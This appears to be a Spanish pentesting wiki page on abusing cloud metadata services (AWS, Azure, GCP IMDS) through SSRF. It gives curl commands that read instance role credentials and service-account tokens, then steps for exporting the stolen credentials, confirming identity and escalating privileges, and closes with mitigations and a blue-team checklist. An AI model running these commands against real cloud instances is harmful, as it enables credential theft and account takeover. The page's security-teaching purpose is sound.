Saltearse al contenido

Metadata service (IMDS)

Toda instancia cloud (EC2, VM, Compute Engine) tiene acceso a un endpoint de metadatos interno que le da información sobre sí misma y, lo más jugoso, credenciales temporales del rol/identidad asociado. Ese endpoint vive en una IP no enrutable (169.254.169.254) accesible solo desde la propia instancia. El problema: si una app en esa instancia tiene un SSRF (ver SSRF (Server-Side Request Forgery)), el atacante hace que la app consulte el metadata service por él y robe las credenciales de la instancia. Es una de las cadenas de ataque cloud más impactantes.

AWS / Azure: http://169.254.169.254/...
GCP: http://metadata.google.internal/ (= 169.254.169.254)

Solo accesible desde la instancia → el atacante necesita ejecución en ella (RCE) o, mucho más común, un SSRF en una app que corre ahí.

# IMDSv1 (vulnerable a SSRF): una simple GET devuelve credenciales
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROL>
# -> AccessKeyId, SecretAccessKey, Token (credenciales temporales del rol)
# IMDSv2 (mitigado): requiere un token PUT previo (cabecera), que un SSRF simple no puede hacer
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/...

IMDSv2 exige un PUT con cabecera y bloquea el reenvío (hop limit), lo que frena la mayoría de SSRF. Forzar IMDSv2 es la mitigación principal.

# Azure IMDS: requiere la cabecera Metadata:true
curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# token de la Managed Identity (acceso a recursos Azure)
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP: requiere la cabecera Metadata-Flavor: Google
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# -> access token del service account de la instancia

La cabecera requerida (Azure Metadata:true, GCP Metadata-Flavor) es una mitigación parcial: un SSRF que no permita cabeceras no llega.

1. App vulnerable a SSRF en una instancia cloud (ver web-ssrf)
2. SSRF -> http://169.254.169.254/.../security-credentials/<rol>
3. Obtienes credenciales temporales del rol de la instancia
4. aws configure / export -> usas esas credenciales
aws sts get-caller-identity # confirmas quién eres
5. Enumeras permisos del rol y escalas (ver cloud-iam)
# AWS: configurar las credenciales temporales (incluye el token de sesión)
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
aws sts get-caller-identity
# enumerar qué permite el rol -> pacu / enumerate-iam -> escalada (cloud-iam)
# GCP: usar el access token
curl -H "Authorization: Bearer <token>" https://...googleapis.com/...
  • AWS: forzar IMDSv2 (HttpTokens: required) y poner hop limit a 1 — frena la gran mayoría de SSRF.
  • Azure/GCP: las cabeceras obligatorias ya ayudan; además, restringir qué puede salir desde la app.
  • Mínimo privilegio en el rol de instancia: si el rol apenas tiene permisos, robar sus credenciales vale poco (ver Abuso de IAM y escalada de privilegios).
  • Corregir el SSRF en origen (validación de destino, allowlist — ver SSRF (Server-Side Request Forgery)); WAF/egress que bloquee 169.254.169.254.
  • Monitorizar uso de credenciales de instancia desde IPs externas (señal de robo vía SSRF).
  • ¿Hay SSRF en una app sobre una instancia cloud? (SSRF (Server-Side Request Forgery))
  • AWS: ¿IMDSv1 accesible? (GET directo a security-credentials)
  • AWS: si IMDSv2, ¿el SSRF permite PUT + cabecera?
  • Azure: token de Managed Identity (cabecera Metadata:true)
  • GCP: token del service account (Metadata-Flavor: Google)
  • Usar las credenciales robadas (sts get-caller-identity)
  • Enumerar permisos del rol y escalar (Abuso de IAM y escalada de privilegios)
  • Blue: ¿IMDSv2 forzado, hop limit, rol mínimo?